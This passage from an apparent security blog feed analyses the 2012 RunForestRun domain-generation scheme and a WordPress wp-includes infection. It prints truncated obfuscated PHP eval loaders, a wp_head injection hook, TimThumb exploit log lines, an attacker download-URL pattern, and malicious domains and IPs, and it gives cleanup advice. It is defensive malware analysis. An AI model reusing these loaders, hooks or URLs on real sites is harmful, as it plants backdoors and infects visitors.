<p>So how the attackers know what domains to registers so that the injected iframes really load some malicious payload from their servers? The answer is the generated domain names are <strong>not completely random</strong>. As you might notice, they actually consist of two parts: the <strong>third-level</strong> domain name and the <strong>forth-level</strong> domain name (e.g. <span style="color: #993300;"><strong><em>nzseokfggewrwplmuph</em>.hvguqfmfqgerbdro</strong></span> .waw .pl).  The forth-level domain name (in this example <span style="color: #993300;"><em>nzseokfggewrwplmuph</em></span>) is really random and can&#8217;t be predicted. But the third-level domain name (in this example <em><span style="color: #993300;">hvguqfmfqgerbdro</span></em>) is not random at all and thus can be as easily predicted the same way as domain names in the previous versions of RunForestRun DGA.</p>
<p>This &#8220;<em>predictable third-level domain name plus any random fourth-level domain name</em>&#8221; scheme works because of the DNS settings that map all forth-level domains to the same server as the third-level domain name. By the way, right now this attack uses the <strong>78 .46 .11 .101</strong> server (Hetzner Online Ag, Germany).</p>
<p>This scheme allows us to predict the third-level domains only and ignore any forth-level domains. For this algorithm, the significant domain names change <strong>5</strong> times a day. At this point I can see that domain names for the period of <strong>July 21, 2012</strong> through <strong>August 5, 2012</strong> are already registered via the Domain Silver Inc. (registered in the Seychelles,  with the <strong>.pl</strong> support email) And by the way, <strong>waw.pl</strong> subdomains are <strong>not free</strong> to register &#8212; this adds some barrier to preregistering the predicted domain names.</p>
<p>Here is a list of the domains that are already registered. A more long list of the predicted domains can be found <a href="http://pastebin.com/8tfexYE3">here</a> (I know, they&#8217;ll eventually change the algo.)</p>
<p><code>*.<strong>qxpmhnrvrkqewurq</strong>.waw.pl // Sat Jul 21 2012 00:00:00<br />
*.<strong>keefqnfsgqxrzlru</strong>.waw.pl // Sat Jul 21 2012 01:00:00<br />
*.<strong>ekkugeunekaxqolz</strong>.waw.pl // Sat Jul 21 2012 07:00:00<br />
*.<strong>svndeqsqughepaye</strong>.waw.pl // Sat Jul 21 2012 13:00:00<br />
*.<strong>aksfkuuozvfqprms</strong>.waw.pl // Sat Jul 21 2012 19:00:00<br />
*.<strong>zpqkervzziqffvas</strong>.waw.pl // Sun Jul 22 2012 00:00:00<br />
*.<strong>uiuxumxroflzpfxr</strong>.waw.pl // Sun Jul 22 2012 01:00:00<br />
*.<strong>godzexppowqkaoqg</strong>.waw.pl // Sun Jul 22 2012 07:00:00<br />
*.<strong>hhrkeezqezsfpelh</strong>.waw.pl // Sun Jul 22 2012 13:00:00<br />
*.<strong>oqvlfqreqpqofbkk</strong>.waw.pl // Sun Jul 22 2012 19:00:00<br />
*.<strong>alipqiuzrguwesky</strong>.waw.pl // Mon Jul 23 2012 00:00:00<br />
*.<strong>rfvnhrxyqrkfkafm</strong>.waw.pl // Mon Jul 23 2012 01:00:00<br />
*.<strong>fvqrumayxausssro</strong>.waw.pl // Mon Jul 23 2012 07:00:00<br />
*.<strong>zppiehqhzpovbkyq</strong>.waw.pl // Mon Jul 23 2012 13:00:00<br />
*.<strong>xwusrevemsezfoqu</strong>.waw.pl // Mon Jul 23 2012 19:00:00<br />
*.<strong>pzdhexgqhgrpwifw</strong>.waw.pl // Tue Jul 24 2012 00:00:00<br />
*.<strong>erzeyvxfqerffrql</strong>.waw.pl // Tue Jul 24 2012 01:00:00<br />
*.<strong>mzqqewpgyfeprbko</strong>.waw.pl // Tue Jul 24 2012 07:00:00<br />
*.<strong>vpbuillzsunrkgmf</strong>.waw.pl // Tue Jul 24 2012 13:00:00<br />
*.<strong>fmfqplgsqwrlhynp</strong>.waw.pl // Tue Jul 24 2012 19:00:00<br />
*.<strong>pqzsevnefqzofzzu</strong>.waw.pl // Wed Jul 25 2012 00:00:00<br />
*.<strong>ozpxhkavazfqfrhr</strong>.waw.pl // Wed Jul 25 2012 01:00:00<br />
*.<strong>wnozimymvmaxkszo</strong>.waw.pl // Wed Jul 25 2012 07:00:00<br />
*.<strong>ylivlvzmqsqksexk</strong>.waw.pl // Wed Jul 25 2012 13:00:00<br />
*.<strong>sqqkemzgshwnkkrk</strong>.waw.pl // Wed Jul 25 2012 19:00:00<br />
*.<strong>ahqqeqepkuzqqogq</strong>.waw.pl // Thu Jul 26 2012 00:00:00<br />
*.<strong>oeaivqoeffszmazv</strong>.waw.pl // Thu Jul 26 2012 01:00:00<br />
*.<strong>rnxqzzvvfvefzuef</strong>.waw.pl // Thu Jul 26 2012 07:00:00<br />
*.<strong>hvguqfmfqgerbdro</strong>.waw.pl // Thu Jul 26 2012 13:00:00<br />
*.<strong>efzsxqendefszqwv</strong>.waw.pl // Thu Jul 26 2012 19:00:00<br />
*.<strong>ospferibuoqexlrq</strong>.waw.pl // Fri Jul 27 2012 00:00:00<br />
*.<strong>uoqyiwgfhwalhsrf</strong>.waw.pl // Fri Jul 27 2012 01:00:00<br />
*.<strong>eggqeufupvpffbku</strong>.waw.pl // Fri Jul 27 2012 07:00:00<br />
*.<strong>gpzzurpvvqevszuv</strong>.waw.pl // Fri Jul 27 2012 13:00:00<br />
*.<strong>nirqnuaqaneqszrf</strong>.waw.pl // Fri Jul 27 2012 19:00:00<br />
*.<strong>xkmrvsfqohzoqoux</strong>.waw.pl // Sat Jul 28 2012 00:00:00<br />
*.<strong>vbgkesevmqqaypeo</strong>.waw.pl // Sat Jul 28 2012 01:00:00<br />
*.<strong>fekknfieornfndye</strong>.waw.pl // Sat Jul 28 2012 07:00:00<br />
*.<strong>fyllfpuqesfponzo</strong>.waw.pl // Sat Jul 28 2012 13:00:00<br />
*.<strong>suarglxquxbrvxor</strong>.waw.pl // Sat Jul 28 2012 19:00:00<br />
*.<strong>rsmwnxvfaqxxqehg</strong>.waw.pl // Sun Jul 29 2012 00:00:00<br />
*.<strong>lusseoiqfrxlzuoy</strong>.waw.pl // Sun Jul 29 2012 01:00:00<br />
*.<strong>xhofnxueyreenhpk</strong>.waw.pl // Sun Jul 29 2012 07:00:00<br />
*.<strong>qqphrhvzgrrylhro</strong>.waw.pl // Sun Jul 29 2012 13:00:00<br />
*.<strong>drqlgnkfobrsgmmz</strong>.waw.pl // Sun Jul 29 2012 19:00:00<br />
*.<strong>svkpeszmgaofdqqu</strong>.waw.pl // Mon Jul 30 2012 00:00:00<br />
*.<strong>qvlueezqezvskfnq</strong>.waw.pl // Mon Jul 30 2012 01:00:00<br />
*.<strong>uyveaqhufkeiqmsn</strong>.waw.pl // Mon Jul 30 2012 07:00:00<br />
*.<strong>mazszkkqfhfqegva</strong>.waw.pl // Mon Jul 30 2012 13:00:00<br />
*.<strong>qrkrqzsvzulbxhka</strong>.waw.pl // Mon Jul 30 2012 19:00:00<br />
*.<strong>eorazzorfyrzbuge</strong>.waw.pl // Tue Jul 31 2012 00:00:00<br />
*.<strong>qrakxlhymofsynvy</strong>.waw.pl // Tue Jul 31 2012 01:00:00<br />
*.<strong>bqeqrlhkuqngrrps</strong>.waw.pl // Tue Jul 31 2012 07:00:00<br />
*.<strong>qrmfekadorhpflqv</strong>.waw.pl // Tue Jul 31 2012 13:00:00<br />
*.<strong>kqyeqozzfmkymirf</strong>.waw.pl // Tue Jul 31 2012 19:00:00<br />
*.<strong>gherznlxvquzzpeu</strong>.waw.pl // Wed Aug 01 2012 00:00:00<br />
*.<strong>hhkvnxqfmoeapkbp</strong>.waw.pl // Wed Aug 01 2012 01:00:00<br />
*.<strong>oqnuvrfqqakovrfl</strong>.waw.pl // Wed Aug 01 2012 07:00:00<br />
*.<strong>ueskvqmzogzfrsqe</strong>.waw.pl // Wed Aug 01 2012 13:00:00<br />
*.<strong>enoxhrnvodxmhxyy</strong>.waw.pl // Wed Aug 01 2012 19:00:00<br />
*.<strong>fprpsvfmzyrffogi</strong>.waw.pl // Thu Aug 02 2012 00:00:00<br />
*.<strong>zwkeqrlypenxpsqe</strong>.waw.pl // Thu Aug 02 2012 01:00:00<br />
*.<strong>xsksvonlfapekhbn</strong>.waw.pl // Thu Aug 02 2012 07:00:00<br />
*.<strong>vzyhrrsrhukewmek</strong>.waw.pl // Thu Aug 02 2012 13:00:00<br />
*.<strong>fhxlpzqkhqrsrkir</strong>.waw.pl // Thu Aug 02 2012 19:00:00<br />
*.<strong>mpqvrgffxxqhrzod</strong>.waw.pl // Fri Aug 03 2012 00:00:00<br />
*.<strong>vqquhooovmygrevg</strong>.waw.pl // Fri Aug 03 2012 01:00:00<br />
*.<strong>rrpfohgpheelfzwh</strong>.waw.pl // Fri Aug 03 2012 07:00:00<br />
*.<strong>lqurmseafhehsvnx</strong>.waw.pl // Fri Aug 03 2012 13:00:00<br />
*.<strong>xeeenpgoglhfrqks</strong>.waw.pl // Fri Aug 03 2012 19:00:00<br />
*.<strong>wlheaaxefhoqqmpk</strong>.waw.pl // Sat Aug 04 2012 00:00:00<br />
*.<strong>dqxloavroqrqlrny</strong>.waw.pl // Sat Aug 04 2012 01:00:00<br />
*.<strong>ssvgmyklgkfaqnfr</strong>.waw.pl // Sat Aug 04 2012 07:00:00<br />
*.<strong>qorauruzaalvsvvr</strong>.waw.pl // Sat Aug 04 2012 13:00:00<br />
*.<strong>uedhuenyfxgrfbue</strong>.waw.pl // Sat Aug 04 2012 19:00:00<br />
*.<strong>mvrsfxykiekoqysm</strong>.waw.pl // Sun Aug 05 2012 00:00:00<br />
*.<strong>hfoeozvdlvzkkqip</strong>.waw.pl // Sun Aug 05 2012 01:00:00</code></p>
<h3 id="roundup">Roundup</h3>
<p>This new version of the RunForestRun attack:</p>
<ul>
<li>Still infects sites on Plesk-powered servers</li>
<li>Instead of simply adding easily detectable and removable line of code into legitimate <strong>.js</strong> files it now encrypts whole <strong>.js</strong> files adding some malicious extra to them, which makes it troublesome to automatically find infected files and clean them up. If you don&#8217;t have a backup, recovering legitimate <strong>.js</strong> files will be a problem too.</li>
<li>Encrypted code is unique in every infected <strong>.js</strong> file. The domain name of the hacked site is used as an encryption key.</li>
<li>The DGA now generates really random domain names, but the random part can be easily ignored.  And the really significant part of the domain names is still easily predictable.</li>
</ul>
<p>Unlike most of the rest massive website infections where hackers use more or less the same tricks for quite a long time (exploitation kits unify a lot of stuff), the RunForestRun guys are trying to invent something new. And although their solutions are not always efficient, I can see how they learn on their own mistakes and improve their code with every iteration. I wish they worked on something more constructive though.</p>
<h3 id="webmasters">To Webmasters</h3>
<ol>
<li>Make sure you have a backup of your site. You have a backup, don&#8217;t you? You&#8217;ll need it to recover your <strong>.js</strong> files.</li>
<li>Make sure there in nothing suspicious is added to your site.</li>
<li><strong>Important:</strong> Change all site passwords: FTP, Control Panel, etc. Don&#8217;t revert your old passwords if you hosting provider resets them.</li>
<li><strong>Very important:</strong> Contact you hosting provider and show them this article and the <a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/">article about the original RunForestRun attack</a>. The attack uses server level security issues of the Plesk Panel and only your hosting provider can really stop reinfections.</li>
</ol>
<h3 id="questions">Questions to readers</h3>
<ol>
<li>Can you confirm that this new <strong><em>waw.pl</em></strong> malicious code only affects <strong>.js</strong> files? If you see it in other types of files, does it encrypt legitimate content there too?</li>
<li>To encrypt legitimate files, the attackers need to download them first. Do you see those download requests in access or Plesk logs? Just curious. Do they use multiple IPs for such requests?</li>
<li>Did you come across websites infected with this version of the malicious code on servers that applied all the Plesk security patches and changed all passwords before <strong>July 20, 2012</strong>?</li>
</ol>
<p>##<br />
Your comments are much appreciated!</p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/">Runforestrun and Pseudo Random Domains</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/06/26/millions-of-website-passwords-stored-in-plain-text-in-plesk-panel/">Millions of Website Passwords Stored in Plain Text in Plesk Panel</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/">Lorem Ipsum and Twitter Trends in Malware</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=Ultjo-2oNyo:S71C3AvXuCM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=Ultjo-2oNyo:S71C3AvXuCM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=Ultjo-2oNyo:S71C3AvXuCM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=Ultjo-2oNyo:S71C3AvXuCM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/07/26/runforestrun-now-encrypts-legitimate-js-files/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>What’s in your wp-head?</title>
		<link>http://blog.unmaskparasites.com/2012/07/11/whats-in-your-wp-head/</link>
		<comments>http://blog.unmaskparasites.com/2012/07/11/whats-in-your-wp-head/#comments</comments>
		<pubDate>Wed, 11 Jul 2012 11:49:35 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[diff]]></category>
		<category><![CDATA[Leaseweb]]></category>
		<category><![CDATA[lonly]]></category>
		<category><![CDATA[obfuscated script]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[timthumb.php]]></category>
		<category><![CDATA[WinMerge]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp-head]]></category>
		<category><![CDATA[wp-includes]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=888</guid>
		<description><![CDATA[I first came across this attack in late May of 2012. It had quite a recognizable and frequently updated type of malicious JavaScript code injected in the &#60;head&#62; section of WordPress blogs and iframe URLs generated by this script always ended with top2.html (now rem2.html)
It was a massive infection and many webmasters asked me to [...]]]></description>
			<content:encoded><![CDATA[<p>I first came across this attack in late May of 2012. It had quite a recognizable and frequently updated type of malicious JavaScript code injected in the <strong>&lt;head&gt;</strong> section of WordPress blogs and iframe URLs generated by this script always ended with <span style="color: #993300;"><strong>top2.html</strong></span> (now <span style="color: #993300;"><strong>rem2.html</strong></span>)</p>
<p>It was a massive infection and many webmasters asked me to help them clean up their sites. I told them how to search for various pattern of malicious files and asked them to provide me with access logs and samples of the malicious code they found on their servers.</p>
<p>At first the hack looked quite mysterious:</p>
<ul>
<li>Webmasters sent me many backdoor files but none of them contained the malicious code I saw in infected web pages.</li>
<li>In theme files, the <strong>&lt;head&gt;</strong> section didn&#8217;t contain any malicious code at all.</li>
<li>While access logs showed some successful TimThumb attacks, I didn&#8217;t see requests to backdoors that updated the malicious code injected into the <strong>&lt;head&gt;</strong> section (and that code somehow changed every day).</li>
<li>And the script injection was quite hard to track since it would usually disappear after the first check. You couldn&#8217;t tell whether webmasters really cleaned their sites up or the malware was simply hiding from you.</li>
</ul>
<p>The mystery was solved when I got access to one of the infected sites.<br />
<span id="more-888"></span></p>
<h3 id="short">Short description</h3>
<ol>
<li> Hackers inject an encrypted malicious PHP code into random files under <strong>wp-includes</strong> (internally, they should be included on every WP load).</li>
<li>This code adds a new hook function to the &#8220;<a href="http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head">wp-head</a>&#8221; action.</li>
<li>This new <em>wp-head</em> hook function called &#8220;<strong>check_wp_head_load</strong>&#8221; is also a part of the encrypted code. It downloads a new sample of the malicious JavaScript and injects it into the <strong>&lt;head&gt;</strong> section of WordPress pages.</li>
<li>To make the code injection hard to detect, the PHP code also keeps track of visitor IPs and only injects malicious JavaScript for first-time visitors.</li>
</ol>
<h3 id="detailed">Detailed description</h3>
<p>The implementation of this attack is quite interesting so I provide this detailed description. It may help webmasters properly clean up and protect their sites. Security researcher and system administrators will also find information on how to detect this issue.</p>
<h4 id="penetration">1. Penetration.</h4>
<p>On the sites sites that I worked with, I found unpatched old version of TimThumb library.  Access logs also showed that someone used this security hole:</p>
<p><code>95.128.204.x - - [01/May/2012:23:31:33 +0200] "GET //wp-content/themes/LondonLive/thumb.php?src=hxxp://picasa.com.kereny.ro/go.php HTTP/1.1" 200 415 example.com "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)" "-"<br />
95.128.204.x - - [02/May/2012:21:57:13 +0200] "GET //wp-content/themes/LondonLive/thumb.php?src=hxxp://picasa.com.kereny.ro/go.php HTTP/1.1" 200 415 example.com "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)" "-"</code></p>
<p>Nonetheless, on one site I found a directory with maintenance files (<a href="#maintenance">see more about them below</a>) that suggest that this particular malware (earlier, less sophisticated version though) existed on the server back in <strong>November 2011</strong>. So it&#8217;s really hard to say, what security hole had been exploited back then &#8212; maybe the same TimThumb vulnerability.</p>
<p>On the other hand, on one compromised server, I discovered a new version of the doorways that target Google image search that I <a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/">described a year ago</a>.  That Google image search poisoning attack uses the same type of PHP code encryption and a similar approach to maintenance files. I&#8217;m almost sure that the same people are behind these two attacks, and as far as I remember, the image poisoning attack used (at least a year ago) stolen FTP passwords.</p>
<h4 id="wp-includes">2. wp-includes</h4>
<p>Once a backdoor is uploaded to a server, it can be used to infect legitimate files. This particular attack aims <em><strong>.php</strong></em> files in the <strong>wp-includes</strong> directory.  At the very top (or very bottom) of some files you can find a long line of an encrypted PHP code that usually looks like this (there are no two files with exactly the same malicious code but you can recognize the following three types of script structures):</p>
<p><code>&lt;?php $fyw_jmzlq = array("eNqtWgl32siy/iuMT05sXjyOWg","ugccjFjsHGsWDAgIGZHA4I2SzC","cFjCku<strong>...removed...</strong>/04U8HHmkbE78MhDn","9VASffpah4/LLvGfj/8PWGX41A","==");<strong>eval</strong>("\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E<strong>...removed...</strong>\x29\x29\x29\x29\x3B");?&gt;</code></p>
<p>or</p>
<p><code>&lt;?php $ufvaenay = array('rVoJd9rIsv4rjE9ObF4','8jloLoHHIxY7BxrFgwI','CBmRwOCNkswnBYwpLkv',<strong>...removed...</strong>+v9OFPB','x5pGxO/DIQ5/VQEn36W','oePyy7xn4//Dw==');$lnrtfv_ql = strrev('<strong>edoced_46esab</strong>');$egdzk = strrev('<strong>etalfnizg</strong>');<strong>eval</strong>($egdzk($lnrtfv_ql(implode('',$ufvaenay)))); ?&gt;</code></p>
<p>or</p>
<p><code>&lt;?php $hbfmzszbt = "<strong>e/*./</strong>"; <strong>preg_replace</strong>(<strong>strrev</strong>($hbfmzszbt),"\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'rVoJd9rIsv4rjE9<strong>...removed...</strong>/8H'\x29\x29\x29\x3B",".");?&gt;</code></p>
<p>The decoded version of these scripts can be found here: <a href="http://pastebin.com/ghSXKJmM">http://pastebin.com/ghSXKJmM</a></p>
<p>The point of using files in <strong>wp-includes</strong> is most of them are used by WordPress to generate every web page so the code is guaranteed to be executed. Moreover, there are much more files in this directory than in the root directory so it is more difficult to spot unauthorized changes if you manually look through the files.</p>
<p>In each infected site, there are usually <strong>2-4</strong> infected files under <em>wp-includes</em>. Here are the names of the most frequently infected files (based on the analysis of <strong>50</strong> infected blogs):  <em>author-template.php, bookmark-template.php, bookmark.php, capabilities.php, category-template.php, category.php, class-wp-ajax-response.php, class-wp-walker.php, comment-template.php, comment.php, cron.php, default-filters.php, deprecated.php, feed.php, formatting.php, general-template.php, kses.php, l10n.php, link-template.php, meta.php, plugin.php, pomo/mo.php, post-template.php, post.php, query.php, rewrite.php, script-loader.php, theme.php, user.php</em>.</p>
<h4 id="wp-head">3. wp-head</h4>
<p>To inject a script in the <em>&lt;head&gt;</em> section of web pages, the malicious code registers a new hook for the <a href="http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head"><strong>wp-head</strong> action</a>.</p>
<p><code>@add_action("<strong>wp_head</strong>", "<strong>check_wp_head_load</strong>", mt_rand(1, 6));</code></p>
<p>This means that the output of the &#8220;<em>check_wp_head_load</em>&#8221; function (also defined in the encrypted malicious code) will be used by WordPress to dynamically generate the <em>&lt;head&gt;</em> section of web pages. Moreover, the <em>mt_rand(1, 6)</em> part of the code tells to add the action with a random priority, so depending on the plugins and themes used by a particular blog, the position of the injected content may change with every page load.</p>
<p>Another random factor is the number of spaces before the injected script. It can be between 300 and 1,000</p>
<p>echo &#8220;\n&#8221; .str_repeat(&#8221; &#8220;, <strong>mt_rand(300, 1000)</strong>) .&#8221;&lt;script type=&#8217;text/javascript&#8217;&gt;$decodedPayload&lt;/script&gt;\n&#8221;;</p>
<p>The spaces make the script not visible without horizontal scrolling when you view HTML code of infected web pages.  And the varying length of the whitespace is probably intended to make it harder to write universal detection rules for malware scanners.</p>
<p>To minimize detection rate, the malicious script is being injected into web pages only for first time visitors (IP address) whose browsers don&#8217;t have the &#8220;<strong>lonly</strong>&#8221; cookie (sign that a user had been attacked before) and who don&#8217;t look like bots of search engines and security scanners (IP ranges).</p>
<h4 id="maintenance">4. Maintenance files</h4>
<p>What really makes detection of this attack more difficult is it&#8217;s ability to track visitors. Malware will be served only once a day for any unique IP-address. This holds true for all infected sites on the same server (even if they belong to different accounts). E.g. if you open one hacked site, you won&#8217;t be able to see the malicious script on the rest infected sites on that server unless you change your IP address.</p>
<p>This IP tracking is implemented using maintenance files in the <strong>server&#8217;s global temporary directory</strong> (usually <strong>/tmp</strong>).</p>
<p>In the temporary directory, the malicious script creates the &#8220;<span style="color: #993300;">.tmp/</span>&#8221; subdirectory with two files: <span style="color: #993300;"><em>yymmdd</em></span> and <span style="color: #993300;"><em>tmp_yymmdd</em></span> (where <em>yymmdd</em> is current date, e.g. on June 18, 2012 they would be <em><span style="color: #993300;">120618</span> and <span style="color: #993300;">tmp_</span></em><span style="color: #993300;"><em>120618</em></span>)</p>
<p>The <span style="color: #993300;"><em>yymmdd</em></span> files contain IP addresses of users that has been attacked on that date. The file has <strong>0777</strong> permissions and all server accounts can both read it and update it.</p>
<p>The shared temp directory along with 0777 permissions allow to reuse the same maintenance files for all infected sites on the same server, even if they belong to different users and server accounts. Just a few days ago I saw new IPs being appended to the <span style="color: #993300;"><em>yymmdd</em></span> file after I removed all malicious scripts from one account on a shared server. And on the next day the new <span style="color: #993300;"><em>yymmdd</em></span> was created by a different user (whose account was still infected).</p>
<p>The <span style="color: #993300;"><em>tmp_yymmdd</em></span> file contains a <em>base64-encoded</em> version of the malicious JavaScript that will be inject into WordPress pages.</p>
<p>A quick trick for hosting providers. This command can reveal whether some account on your server is infected and which account is infected</p>
<p><code><strong>ls -l /tmp/.tmp/</strong><br />
-rwxrwxrwx 1 <strong>user1</strong> 1110 1170 Jun 19 04:23 <strong>120619</strong><br />
-rwxrwxrwx 1 <strong>user1</strong> 1110 2396 Jun 18 18:01 <strong>tmp_120619</strong></code></p>
<p>The malicious script is programmed to delete maintenance files three time a day at 00:00, 12:00, and 18:00. Of course this only happens if someone opens infected web pages exactly at 00:00, 12:00, and 18:00, otherwise the script tries to delete all old files and create new ones if they don&#8217;t exist. So the list of visitors&#8217; IPs is reset <strong>1-3</strong> times a day. The malicious script can also change this often.</p>
<h4 id="script_updates">5. Malicious script updates</h4>
<p>The malicious JavaScripts served by infected blogs change every day but hackers don&#8217;t need to update them on every individual site. Instead they only update them on their central server &#8212; the rest is done by the code in the infected &#8220;wp-includes&#8221; files that automatically downloads a new version of the script (base64-encoded) every time it can&#8217;t find the <span style="color: #993300;"><em>.tmp/tmp_yymmdd</em></span> file in the temporary directory (at least once a day when date changes). Actually, at every given moment, the central server has two slightly different copies of the bad script that load malware from two different URLs. Infected servers randomly pull one of them.</p>
<p>The remote server that stores original copies of the malware is <strong>178.162.129.170</strong> (<a href="http://blog.unmaskparasites.com/tag/leaseweb/">Leaseweb</a> &#8211; no surprise here). It has <strong>5</strong> associated domain names that scripts use to generate  download URLs:  <span style="color: #993300;"><em>net00net .net</em></span>, <span style="color: #993300;"><em>net11net.net</em></span>, <span style="color: #993300;"><em>net22net.net</em></span>, <span style="color: #993300;"><em>net33net.net</em></span>, <span style="color: #993300;"><em>net44net.net </em></span>&#8211; all registered on May 20, 2012.</p>
<p>The download URL has the following format:</p>
<p>hxxp://net33net .net/net/?u=&#8221; . base64_encode(&#8220;http://&#8221; .$host .$request_uri)</p>
<p>As you can see, it is possible to suspend this attack if authorities shut down or sink-hole these <span style="color: #993300;"><em>net[0-4]{2}net.net</em></span> domains. Meanwhile, security companies can use the above URLs to promptly add new versions of malicious scripts and new malicious domains to their databases.</p>
<p>However, there is one more hurdle prepared for your by the attackers. If you try to download a new version of the malicious JavaScript directly from those  <span style="color: #993300;"><em>net[0-4]{2}net.net</em></span> sites, the chances are all you get will be this:</p>
<p><code>dmFyIGdhID0gJ3NjcmlwdCc7IHZhciB0eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7IHZhciBhc3luYyA9IHRydWU7dmFyIGd2YXIgPSAnc3Jhcic7IHZhciBzcmFyID0gJ3RyYXgnOw==</code></p>
<p>which decodes to</p>
<p><code>var ga = 'script'; var type = 'text/javascript'; var async = true;var gvar = 'srar'; var srar = 'trax';</code></p>
<p>just a bunch of variable declarations that vaguely resemble Google Analytics code. The code makes no sense and is absolutely benign.</p>
<p>But if you check what the malicious code in <em>wp-includes</em> files do, you&#8217;ll notice that it uses the &#8220;<strong>Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)</strong>&#8221; User Agent header. And if you use this User Agent too then, lo and behold, you get a real malicious code from the <span style="color: #993300;"><em>net[0-4]{2}net.net </em></span>sites.</p>
<h4 id="scripts">6. Malicious JS scripts</h4>
<p>The malicious scripts look like this (in one line) and have a recognizable format:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/07/picture1.png" border="0" alt="" /></div>
<p>They begin with assignment to the &#8220;<strong>wow</strong>&#8221; variable (in earlier versions it was &#8220;<strong>st</strong>&#8221; variable). This variable contains an encrypted domain name of the malicious URL. Then &#8220;<span style="color: #993300;">Date</span>&#8221; and a few long strings that consist almost solely of punctuation marks and special symbols (<span style="color: #993300;">=-+[()]?!@}{`$*#&amp;|&gt;&lt;~^:</span>). And end with &#8220;<span style="color: #993300;">window.eval(f.decodeURIComponent(a)</span>&#8220;.</p>
<p>The script checks if there is a &#8220;<strong>lonly</strong>&#8221; cookie. It it doesn&#8217;t exist, it sets that &#8220;<strong>lonly</strong>&#8221; cookie for one day, creates an invisible iframe and adds an &#8220;<strong>onmousemove</strong>&#8221; event handler for <em>Firefox</em> and <em>Internet Explorer</em> browsers. When user moves a mouse, the malicious iframe is being added to a web pages.</p>
<p>The iframe URLs change a few times a day and currently (as of July 10th, 2012) end with &#8220;<span style="color: #993300;"><strong>/rem2.html</strong></span>&#8220;. In late May and early June they ended with &#8220;<span style="color: #993300;"><strong>/top2.html</strong></span>&#8221;</p>
<p>Here are just a few of them:</p>
<ul>
<li><span style="color: #993300;">hxxp://gemeni .fr .ms/top2.html</span></li>
<li><span style="color: #993300;">hxxp://goga-any .r .gd/top2.html</span></li>
<li><span style="color: #993300;">hxxp://enema .net .tc/top2.html</span></li>
<li><span style="color: #993300;">hxxp://gemeni .cn .ms/top2.html</span></li>
<li><span style="color: #993300;">hxxp://leming .com .br .tc/top2.html</span></li>
<li><span style="color: #993300;">hxxp://kredits .check-it-out .nl/top2.html</span></li>
<li><span style="color: #993300;">hxxp://leaveme-send .r .gd/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://onthe .check-it-out .nl/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://meinkampf .slx .nl/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://skiptomy .stx .nl/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://this-increase .r .gd/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://this-quite .r .gd/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://this-increase .r .gd/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://this-than .r .gd/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://this-there .r .gd/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://reviewszerochan .stx .nl/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://downloadskirarin .slx .nl/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://todirected .uni .me/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://revolutionreboryshion .jp .pn/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://qashqainightshade .cn .pn/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://vodkamojito.com .br .tc/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://dulhanpics.com .au .pn/rem2.html</span></li>
<li><span style="color: #993300;">hxxp://downloadtorrent .org .uk .tc/rem2.html</span></li>
</ul>
<p>Check how they abuse services that provide free third and forth level domains along with DNS management (so that they could point the free domains to their own servers: 87.98.128.204, 94.23.120.147, 94.247.28.42 )</p>
<h3 id="antidetection">Detection prevention tricks</h3>
<p>This attack uses quite a few tricks that aim to make its detection difficult, both for webmasters and security scanners.</p>
<ul>
<li>Using <strong>wp-head</strong> action to inject code into web pages. This trick makes is not obvious where to search for the malicious code, especially for webmasters that are not familiar with WordPress API.</li>
<li>Hundreds of whitespace characters before the malicious script make it not visible when people look through the HTML code of web pages (horizontal scrolling is rarely used compared to vertical scrolling &#8212; even mouse wheels only provide vertical scrolling).</li>
